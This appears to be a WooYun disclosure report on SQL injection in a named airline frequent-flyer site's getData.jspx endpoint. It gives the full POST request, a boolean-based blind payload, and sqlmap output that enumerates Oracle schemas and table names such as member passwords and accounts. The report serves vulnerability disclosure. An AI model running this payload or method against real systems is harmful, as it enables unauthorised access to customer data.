WooYun.org

站点：
http://ffp.juneyaoair.com/
多个参数没有过滤，导致注射

以 /getData.jspx （post） proDataTypeCode参数为例
burp抓数据包
POST /getData.jspx HTTP/1.1
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://ffp.juneyaoair.com/
Cookie: clientlanguage=zh_CN; JSESSIONID=010564237BA51AB1BFC6DDB5E5D5E8AF
Host: ffp.juneyaoair.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
dataType=province&proDataTypeCode=ET
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: proDataTypeCode
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: dataType=province&proDataTypeCode=ET' AND 9867=9867 AND 'ikQa'='ikQ
a
---
[11:51:53] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[11:51:53] [INFO] fetching current user
[11:51:53] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
you provided a HTTP Cookie header value. The target url provided its own cookies
within the HTTP Set-Cookie header which intersect with yours. Do you want to me
rge them in futher requests? [Y/n] n
HOFFP
current user: 'HOFFP'
[11:58:44] [INFO] fetching current database
[11:58:44] [INFO] resumed: HOFFP
current schema (equivalent to database on Oracle): 'HOFFP'
[11:58:44] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[11:58:44] [INFO] fetching database (schema) names
[11:58:44] [INFO] fetching number of databases
[11:58:44] [INFO] retrieved: 20
[12:00:28] [INFO] retrieved: APEX_030200
[12:13:50] [INFO] retrieved: APPQOSSYS
[12:25:42] [INFO] retrieved: CRM
[12:30:09] [INFO] retrieved: CTXSYS
[12:37:58] [INFO] retrieved: DBSNMP
[12:46:08] [INFO] retrieved: EXFSYS
[12:53:55] [INFO] retrieved: FLOWS_FILES
[13:07:15] [INFO] retrieved: HOFFP
[13:13:59] [INFO] retrieved: MDSYS
[13:20:41] [INFO] retrieved: OLAPSYS
[13:29:34] [INFO] retrieved: ORDDATA
[13:38:30] [INFO] retrieved: ORDSYS
[13:46:17] [INFO] retrieved: OUTLN
[13:52:57] [INFO] retrieved: OWBSYS
[14:00:44] [INFO] retrieved: SCOTT
[14:07:32] [INFO] retrieved: SYS
[14:11:59] [INFO] retrieved: SYSMAN
[14:19:46] [INFO] retrieved: SYSTEM
[14:27:34] [INFO] retrieved: WMSYS
[14:34:14] [INFO] retrieved: XDB
available databases [20]:
[*] APEX_030200
[*] APPQOSSYS
[*] CRM
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] HOFFP
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB
181张表，部分说明问题
[14:40:38] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle
[14:40:38] [INFO] fetching tables for database: 'HOFFP'
[14:40:38] [INFO] fetching number of tables for database 'HOFFP'
[14:40:38] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
you provided a HTTP Cookie header value. The target url provided its own cookies
within the HTTP Set-Cookie header which intersect with yours. Do you want to me
rge them in futher requests? [Y/n] n
181
[14:42:42] [INFO] retrieved: TBL_PROMOTION_CHILD_RULE
[15:09:55] [INFO] retrieved: TBL_PROMOTION_NOT_FLIGHT_RULE
[15:29:39] [INFO] retrieved: TBL_PROMOTION_VIP_RULE
[15:41:47] [INFO] retrieved: TBL_CUSTOMER_ADDRESS
[16:01:11] [INFO] retrieved: TBL_MEMBER_CARD
[16:15:01] [INFO] retrieved: TBL_NOTFLIGHT_REDEEM_RULE
[16:39:42] [INFO] retrieved: TBL_MEMBER_PASSWORD
[16:57:50] [INFO] retrieved: TBL_MEMBER_SUPPLIER_INFO
[17:14:52] [INFO] retrieved: TBL_COMPANY_MEMBER
[17:31:56] [INFO] retrieved: TBL_KEYCUSTOMER_INFO
[17:51:10] [INFO] retrieved: TBL_MEMBER_CURRENT_ACCOUNT
[18:16:53] [INFO] retrieved: TBL_MEMBER_MILEAGE_ACCOUNT
[18:36:06] [INFO] retrieved: TBL_COMPANY_FLIGHT_ACTIVITY
[19:02:57] [INFO] retrieved: TBL_MEMBER_STATUS_CHANGE_HIS
[19:31:04] [INFO] retrieved: TBL_MESSAGE_CONFIG
[19:46:24] [INFO] retrieved: TEMP1
[19:52:11] [INFO] retrieved: TEMP2
[19:55:09] [INFO] retrieved: TBL_MILEAGE_PURCHASE_REJECT
[20:25:00] [INFO] retrieved: TBL_NETPAY_ORDER_MANUAL_HIS
[20:52:01] [INFO] retrieved: TBL_USERS
[20:59:22] [INFO] retrieved: TBL_PARAMETERS_TYPE
[21:17:40] [INFO] retrieved: TBL_PARAMETERS
[21:21:06] [INFO] retrieved: TBL_SYSTEM_PARAMETER
[21:40:29] [INFO] retrieved: TBL_ENROLLMENT_SOURCE
[22:00:59] [INFO] retrieved: TBL_SENDING_SOURCE
[22:18:10] [INFO] retrieved: TBL_MEMBER_CARD_STATUS
[22:39:36] [INFO] retrieved: TBL_QUALIFICATION_REASON
[23:03:10] [INFO] retrieved: TBL_MEMBER_STATUS
[23:19:09] [INFO] retrieved: TBL_MEMBER_LEVEL
[23:27:36] [INFO] retrieved: TBL_PROGRAM_COUNTRY
[23:45:44] [INFO] retrieved: TBL_SALUTATION
[23:58:27] [INFO] retrieved: TBL_NOTE_TYPE
[00:10:05] [INFO] retrieved: TBL_IRREGULAR_REASON
[00:29:23] [INFO] retrieved: TBL_MILEAGE_VERIFY
[00:46:25] [INFO] retrieved: TBL_AIRLINE
[00:55:52] [INFO] retrieved: TBL_CLASS_TYPE
[01:08:35] [INFO] retrieved: TBL_SMS_TYPE
[01:19:07] [INFO] retrieved: TBL_SYSTEM_FUNCTION_MANAGER
[01:44:59] [INFO] retrieved: TBL_ROLES
[01:52:16] [INFO] retrieved: TBL_USER_ROLES
[02:05:00] [INFO] retrieved: TBL_ROLES_RIGHTS
[02:19:56] [INFO] retrieved: TBL_MW_CLIENT_INFO
[02:36:59] [INFO] retrieved: TBL_SUPPLIER_PRODUCT_TYPE
[03:01:41] [INFO] retrieved: TBL_SUPPLIER_PRODUCT
[03:06:02] [INFO] retrieved: TBL_INFO_CUSTOM_TYPE
[03:25:20] [INFO] retrieved: TBL_COUNTRY
[03:34:47] [INFO] retrieved: TBL_PROVINCE
[03:45:19] [INFO] retrieved: TBL_CITY
[03:51:31] [INFO] retrieved: TBL_ADDRESS_CITY
[04:06:23] [INFO] retrieved: TBL_AIRPORT
[04:14:54] [INFO] retrieved: TBL_SEGMENT_MILEAGE
[04:33:02] [INFO] retrieved: TBL_CLASS
over